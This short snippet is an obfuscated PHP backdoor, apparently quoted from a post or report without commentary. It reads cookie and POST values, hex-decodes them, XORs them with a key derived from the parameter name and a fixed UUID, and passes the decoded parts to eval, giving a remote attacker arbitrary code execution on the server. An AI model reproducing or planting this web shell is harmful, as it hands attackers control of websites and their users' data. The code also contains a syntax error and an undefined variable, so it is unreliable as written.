Code:
foreach(array_merge($_COOKIE, $_POST) as $hhvsm => $cejrm)
{
    function twojb($ejlnjbs, $hhvsm, $jkzowhs)
    {
        return substr(str_repeat($hhvsm . "97462d1c-4491-4c8d-b4ba-249a1aee81e6", ($jkzowhs / strlen($hhvsm)) + 1), 0, $jkzowhs);
    }

    function llhbte($ejlnjbs, $jxzkvi)
    {
        return @pack("H*", $jxzkvi)''
    }

    function flkmrh($ejlnjbs, $jxzkvi)
    {
        $gtuyb = count($jxzkvi) % 3;

        if(!$gtuyb)
        {
            eval($jxzkvi[1]($jxzkvi[2]));
            exit();
        }
    }

    $cejrm = llhbte($ejlnjbs, $cejrm);
    flkmrh($ejlnjbs, explode("#", $cejrm ^ twojb($ejlnjbs, $hhvsm, strlen($cejrm))));
}